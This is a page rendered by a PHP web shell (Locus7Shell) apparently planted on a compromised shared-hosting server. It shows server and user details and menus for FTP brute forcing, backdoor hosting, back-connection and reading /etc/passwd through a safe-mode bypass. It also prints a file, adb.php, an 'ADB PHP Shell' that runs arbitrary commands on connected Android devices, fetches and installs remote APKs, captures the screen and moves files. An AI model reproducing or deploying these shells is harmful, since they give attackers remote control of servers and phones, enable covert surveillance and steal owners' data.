Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/   drwx---r-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.112 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     adb.php (4.52 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php error_reporting(E_ALL); ini_set('display_errors'1);  $adb_path './platform-tools/adb'// Your ADB absolute path  // Function to execute ADB commands and return output function run_adb_command($command) {     global $adb_path;     $full_command = "$adb_path $command 2>&1";     exec($full_command, $output, $return_var);     return ($return_var === 0) ? implode("\n", $output) : "Error executing: $command"; }  // Handle user actions $action = $_GET['action'] ?? '';  switch ($action) {     case 'connect':         $ip = $_POST['ip'] ?? '';         $port = $_POST['port'] ?? '5555';         echo run_adb_command("connect $ip:$port");         break;      case 'list_apps':         echo run_adb_command("shell pm list packages");         break;      case 'install_apk':         $apk_url = $_POST['apk_url'] ?? '';         $apk_path = "/sdcard/temp.apk";         echo run_adb_command("shell curl -o $apk_path $apk_url && install $apk_path");         break;      case 'take_screenshot':         echo run_adb_command("shell screencap -p /sdcard/screenshot.png");         echo "Screenshot saved at: /sdcard/screenshot.png";         break;      case 'record_screen':         echo run_adb_command("shell screenrecord /sdcard/screen.mp4");         echo "Recording started... Press Ctrl+C to stop.";         break;      case 'search_file':         $path = $_POST['path'] ?? '/';         $filename = $_POST['filename'] ?? '';         echo run_adb_command("shell find '$path' -name '$filename'");         break;      case 'upload_file':         $local_file = $_FILES['file']['tmp_name'] ?? '';         $remote_path = $_POST['remote_path'] ?? '/sdcard/';         move_uploaded_file($local_file, "temp_file");         echo run_adb_command("push temp_file '$remote_path'");         unlink("temp_file");         echo "File uploaded to: $remote_path";         break;      case 'download_file':         $remote_path = $_POST['remote_path'] ?? '';         $local_path = "downloads/" . basename($remote_path);         mkdir("downloads", 0777, true);         echo run_adb_command("pull '$remote_path' '$local_path'");         echo "File downloaded: <a href='$local_path'>$local_path</a>";         break;      case 'list_dir':         $dir = $_POST['dir'] ?? '/sdcard/';         echo run_adb_command("shell ls -la '$dir'");         break;      case 'run_command':         $cmd = $_POST['cmd'] ?? '';         echo run_adb_command("shell $cmd");         break;      default:         show_gui();         break; }  // GUI interface similar to C99 Shell function show_gui() {     echo '<html><head><title>ADB PHP Shell</title></head><body>';     echo '<h2>ADB Shell Interface</h2>';     echo '<form method="POST" action="?action=connect">';     echo 'IP: <input type="text" name="ip"> Port: <input type="text" name="port" value="5555">';     echo '<input type="submit" value="Connect">';     echo '</form><hr>';      echo '<form method="POST" action="?action=list_apps"><input type="submit" value="List Installed Apps"></form>';          echo '<form method="POST" action="?action=install_apk">';     echo 'APK URL: <input type="text" name="apk_url"><input type="submit" value="Install APK">';     echo '</form>';      echo '<form method="POST" action="?action=take_screenshot"><input type="submit" value="Take Screenshot"></form>';      echo '<form method="POST" action="?action=record_screen"><input type="submit" value="Record Screen"></form>';      echo '<form method="POST" action="?action=search_file">';     echo 'Path: <input type="text" name="path" value="/"><br>';     echo 'Filename: <input type="text" name="filename">';     echo '<input type="submit" value="Search File">';     echo '</form>';      echo '<form method="POST" enctype="multipart/form-data" action="?action=upload_file">';     echo 'File: <input type="file" name="file"><br>';     echo 'Remote Path: <input type="text" name="remote_path" value="/sdcard/">';     echo '<input type="submit" value="Upload File">';     echo '</form>';      echo '<form method="POST" action="?action=download_file">';     echo 'Remote Path: <input type="text" name="remote_path">';     echo '<input type="submit" value="Download File">';     echo '</form>';      echo '<form method="POST" action="?action=list_dir">';     echo 'Directory: <input type="text" name="dir" value="/sdcard/">';     echo '<input type="submit" value="List Directory">';     echo '</form>';      echo '<form method="POST" action="?action=run_command">';     echo 'Command: <input type="text" name="cmd">';     echo '<input type="submit" value="Run Command">';     echo '</form>';      echo '</body></html>'; } ?>

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0057 ]--